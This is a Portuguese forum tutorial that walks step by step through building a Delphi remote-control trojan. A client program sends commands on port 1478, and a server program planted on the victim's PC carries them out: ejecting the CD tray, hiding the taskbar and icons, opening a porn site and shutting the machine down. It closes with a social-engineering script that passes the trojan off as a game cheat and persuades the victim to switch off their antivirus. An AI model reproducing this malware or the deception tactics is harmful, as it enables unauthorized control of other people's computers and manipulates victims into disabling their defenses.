[ Tutorial ] Como Criar um Trojan com Mais Funções

[ Tutorial ] Como Criar um Trojan com Mais Funções

Antes de mais nada, Tudo que esta aqui não é Ctrl + c mais Ctrl + V
Eu que fiz tudo !!

Requerimentos :

- Conhecimento Basico em Delphi 7

Ok vamos ao trabalho!!



Abra o Delphi e inicie um novo projeto
Agora nós teremos que adicionar uma coisinha ao Delphi
(ServerSocket , ClientSocket)

Para adicionar esse 2 você vai ter que ir em Component e clicar em Install Packages

Print :

Click this bar to view the original image of 800x500px.

Depois Clique em add

Print :



Depois procure a pasta do seu Delphi é mais facil você clicar em "Um nivel acima" Depois que clicar la abra a pasta "bin" que aparecera ao lado

Click this bar to view the original image of 561x417px.

Depois que abrir a pasta clique em "dclsockets70" e abre ele =)

Print

Click this bar to view the original image of 559x417px.

Ok agora ja esta tudo Pronto!

Na abra Standard adicione

- 1 Edit = Apague o que esta escrito nele
- 1 Label = Apague o que esta escrito nele
- 2 Buttons = Conectar, Desconectar

E na aba Internet Adicione um Client Socket!

Clique no Client Socker E vamos configurar ele

Clique uma vez no ClientSocket

Em object Inspector Tem "Port" Mude a port para 1478

Depois clique em "Events" e em

OnConect Coloque isso

Label1.caption:='Conectado';

Em OnConecting Coloque isso

label1.caption:='Conctando...';

Em OnDisconect coloque isso

Label1.Caption:='Desconectado!';

Em OnError coloque isso

label1.Caption:='Erro!! Tente novamente';

Pronto agora vamos mecher nos Buttons

Clique 2 Veses no botao "Conectar" e coloque isso

ClientSocket1.Address:=edit1.text;
ClientSocket1.Active:=true;

Agora Clique 2 Veses no botão "Desconectar e coloque isso

ClientSocket1.Active:= false;

Agora adicione 10 Botões e renomeie um para

Abrir CD
Fechar CD
Esconder icones da area de trabalho
Mostrar icones da area de trabalho
Esconder Iniciar
Mostrar iniciar
Esconder barrra de tarefas
Mostrar barra de tarefas
Abrir Firefox com o site do Tube8
Desligar o pc


Clique duas veses no Abrir CD e coloque isso

ClientSocket1.Socket.SendText('abrecd') ;

Clique Duas veses no Fechar cd e coloque isso

ClientSocket1.Socket.SendText('fecharcd') ;

Clique duas veses no Esconder icones da area de trabalho e coloque isso

ClientSocket1.Socket.SendText('escondericones') ;

Clique duas veses no Mostrar icones da area de trabalho e coloque isso

ClientSocket1.Socket.SendText('mostraricones') ;

Clique duas veses no Esconder Iniciar e coloque isso

ClientSocket1.Socket.SendText('esconderiniciar') ;

Clique duas veses no Mostrar Iniciar e coloque isso

ClientSocket1.Socket.SendText('mostrariniciar') ;

Clique duas veses no Esconder barrra de tarefas e coloque isso

ClientSocket1.Socket.SendText('esconderbarra') ;

Clique duas veses no Mostrar barra de tarefas e coloque isso

ClientSocket1.Socket.SendText('mostrarbarra') ;

Clique duas veses no "Abrir firefox no site do Tube8" e coloque isso

ClientSocket1.Socket.SendText('sitetube8') ;

Clique duas veses no "Desligar pc" e coloque isso

ClientSocket1.Socket.SendText('desligarpc') ;

Pronto Programa feito!! agora clique em

File, Save All

Crie uma pasta no seu desktop chamada Trojan depois entre nessa pasta e crie otra chamada Cliente e salve la. Depois de salvar aperte F9 e depois pode fechar tudo.

Print do meu trojan



Etapa 2

Abra denovo o Delphi e inicie um Projeto

Esse Programa que nos faremos agora servira para você mandar para a vitima

Depois de iniciar um Projeto va na aba "internet" e coloque um ServerSocket

La do lado em Port Coloque 1478
e active se muda pra True

Clique na aba "Event".

De duplo click no OnClientRead

De baixo do begin coloque isso

if Socket.ReceiveText='abrecd' then begin
MciSendString('Set CdAudio Door Open',nil,0,Handle) ;
end;
if Socket.ReceiveText='fecharcd' then begin
MciSendString('Set CdAudio Door Closed',nil,0,Handle);
end;
if Socket.ReceiveText='escondericones' then begin
ShowWindow(FindWindow('progman',nil),0);
end;
if Socket.ReceiveText='mostraricones' then begin
ShowWindow(FindWindow('progman',nil),1);
end;
if Socket.ReceiveText='esconderiniciar' then begin
ShowWindow(FindWindowEx (FindWindow('shell_traywnd', nil),0,'Button',nil),0);
end;
if Socket.ReceiveText='mostrariniciar' then begin
ShowWindow(FindWindowEx (FindWindow('shell_traywnd', nil),0,'Button',nil),1);
end;
if Socket.ReceiveText='esconderbarra' then begin
ShowWindow(FindWindow('shell_traywnd',nil),0);
end;
if Socket.ReceiveText='mostrarbarra' then begin
ShowWindow(FindWindow('shell_traywnd',nil),1);
end;
if Socket.ReceiveText='sitetube8' then begin
WinExec('c:/arquivos de programas/mozilla firefox/firefox.exe http//www.tube8.comF', SW_SHOW);
end;
if Socket.ReceiveText='desligarpc' then begin
WinExec('cmd /C shutdown -s -t 03', SW_SHOW);
end;

Depois suba la em cima nos uses e adicione MMSystem
ficando assim

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, MMSystem;

Click this bar to view the original image of 800x465px.

Agora salve tudo na pasta Vitima que eu mandei criar e aperte F9 para compilar!!

Enganando a vitima!!!

Chega pra vitima e fale

- Ou se vil o Novo hack que lanço ???
ele serve para GB Para Grand Chase Pra Combat Arms pra Panguia pra Ragnarok e para um monte de jogos!!!!!!

Mais tem um problema o antivirus detecta como um virus mais é inofencivo!!
(e fala pra ele desativa o ant virus)

ai dps o cara consertesa vai aceita e vc manda o download

Manda ele abri o programa e va no seu Programa o primeiro que criamos e clique em conect ai é so zua ele xD

OBS : No edit que você criou é so colocar o numero da port que o seu no caso é 1478
Comentem Aiii Pessoal